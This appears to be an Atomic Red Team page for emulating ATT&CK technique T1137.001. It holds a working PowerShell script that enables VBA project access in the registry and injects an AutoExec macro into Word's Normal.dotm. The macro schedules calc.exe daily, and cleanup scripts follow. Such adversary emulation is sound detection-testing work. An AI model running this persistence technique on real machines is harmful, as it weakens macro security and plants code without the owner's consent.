Try it using Invoke-Atomic

Office Application Startup: Office Template Macros.

Description from ATT&CK

Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)

Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019)

Word Normal.dotm location:<br> C:\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Templates\Normal.dotm

Excel Personal.xlsb location:<br> C:\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB

Adversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under **C:\Program Files (x86)\Microsoft Office\root\Office16**, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019)

An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

Atomic Tests

Atomic Test #1 - Injecting a Macro into the Word Normal.dotm Template for Persistence via PowerShell

Injects a Macro in the Word default template "Normal.dotm" and makes it execute each time that Word is opened. In this test, the Macro creates a sheduled task to open Calc.exe every evening.

Supported Platforms: windows

auto_generated_guid: 940db09e-80b6-4dd0-8d4d-7764f89b47a8

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# Registry setting to "Trust access to the VBA project object model" in Word
$registryKey = "HKCU:Software\Microsoft\Office\16.0\Word\Security"
$registryValue = "AccessVBOM"
$registryData = "1"
# The path where a flag text file will be created if Registry setting did not already exist or if it was set to 0
$flagPath1 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag1.txt"
$flagPath2 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag2.txt"
# Get the value of the Key/Value pair
$value = (Get-ItemProperty -Path $registryKey -Name $registryValue -ErrorAction SilentlyContinue).$registryValue
# Logical operation to: if the value of the key/value is 1, do nothing - 
# if the value is 0, change it to 1 and create flag1 - 
# if it doesn't exist, create the value and flag2
if ($value -eq "1") 
{
  Write-Host "The registry value '$registryValue' already exists with the required setting."
}   
  elseif ($value -eq "0") 
{
  Write-Host "The registry value was set to 0, temporarily changing to 1."
  New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData -PropertyType DWORD -Force | Out-Null
  echo "flag1" > $flagPath1
} 
  else 
{
  Write-Host "The registry value '$registryValue' does not exist, temporarily creating it."
  New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData -PropertyType DWORD -Force | Out-Null
  echo "flag2" > $flagPath2
}
Add-Type -AssemblyName Microsoft.Office.Interop.Word
# Define the path of copied normal template for restoral
$copyPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal1.dotm"
# Define the path to the normal template
$docPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal.dotm"
# Create copy of orginal template for restoral
Copy-Item -Path $docPath -Destination $copyPath -Force
# VBA code to be insterted as a Macro
# Will create a scheduled task to open the Calculator at 8:04pm daily
$vbaCode = @"
  Sub AutoExec()
  Dim applicationPath As String
  Dim taskName As String
  Dim runTime As String
  Dim schTasksCmd As String
  applicationPath = "C:\Windows\System32\calc.exe"
  taskName = "OpenCalcTask"
  runTime = "20:04"
  schTasksCmd = "schtasks /create /tn """ & taskName & """ /tr """ & applicationPath & """ /sc daily /st " & runTime & " /f"
  Shell "cmd.exe /c " & schTasksCmd, vbNormalFocus
  End Sub
"@
# Create a new instance of Word.Application
$word = New-Object -ComObject Word.Application
# Keep the Word application hidden
$word.Visible = $false
# Open the document
$document = $word.Documents.Open($docPath)
# Access the VBA project of the document
$vbaProject = $document.VBProject
# Add a new module to the VBA project
$newModule = $vbaProject.VBComponents.Add(1) # 1 = vbext_ct_StdModule
# Add the VBA code to the new module
$newModule.CodeModule.AddFromString($vbaCode)
# Run the Macro
$word.run("AutoExec")
# Save and close the document
$document.SaveAs($docPath)
$document.Close()
# Quit Word
$word.Quit()
# Release COM objects
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($document) | Out-Null
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($word) | Out-Null
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($vbaProject) | Out-Null
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($newModule) | Out-Null

Cleanup Commands:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# Registry setting to "Trust access to the VBA project object model" in Word
$registryKey = "HKCU:Software\Microsoft\Office\16.0\Word\Security"
$registryValue = "AccessVBOM"
$registryData1 = "1"
$registryData0 = "0"
# Defines the path each flag file created depending on the original registry state
$flagPath1 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag1.txt"
$flagPath2 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag2.txt"
# Define the path of copied normal template for restoral
$copyPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal1.dotm"
# Define the path to the normal template
$docPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal.dotm"
# Delete the scheduled task created by the Macro
schtasks /Delete /TN "OpenCalcTask" /F | Out-Null
#Restore the orginal template if the backup copy exists
if (Test-Path $copyPath)
{
  #Delete the injected template
  Remove-Item -Force $docPath -ErrorAction SilentlyContinue
  # Restore the original template
  Rename-Item -Force -Path $copyPath -NewName $docPath -ErrorAction SilentlyContinue
  Write-Host "The original template has been restored"
}
  else
{
  Write-Host "The original template is present"
}
#Restore the original state of the registry key
if (Test-Path $flagPath1) 
{
  # The value was originally 0, set back to 0
  New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData0 -PropertyType DWORD -Force | Out-Null
  Remove-Item -Force $flagPath1 -ErrorAction SilentlyContinue
  Write-Host "The original registry state has been restored"
} 
  elseif (Test-Path $flagPath2)
{
  #The value did not previously exist, delete the value
  Remove-ItemProperty -Path $registryKey -Name $registryValue | Out-Null
  Remove-Item -Force $flagPath2 -ErrorAction SilentlyContinue | Out-Null
  Write-Host "The original registry state has been restored"
}
  else 
{
  # The value was already 1, do nothing
  Write-Host "The value $registryValue already existed in $registryKey."
}

Dependencies: Run with powershell!

Description: Microsoft Word must be installed

Check Prereq Commands:

1
2
3
4
5
try {
  New-Object -COMObject "Word.Application" | Out-Null
  Stop-Process -Name "winword"
  exit 0
} catch { exit 1 }

Get Prereq Commands:

1
Write-Host "You will need to install Microsoft Word manually to meet this requirement"

source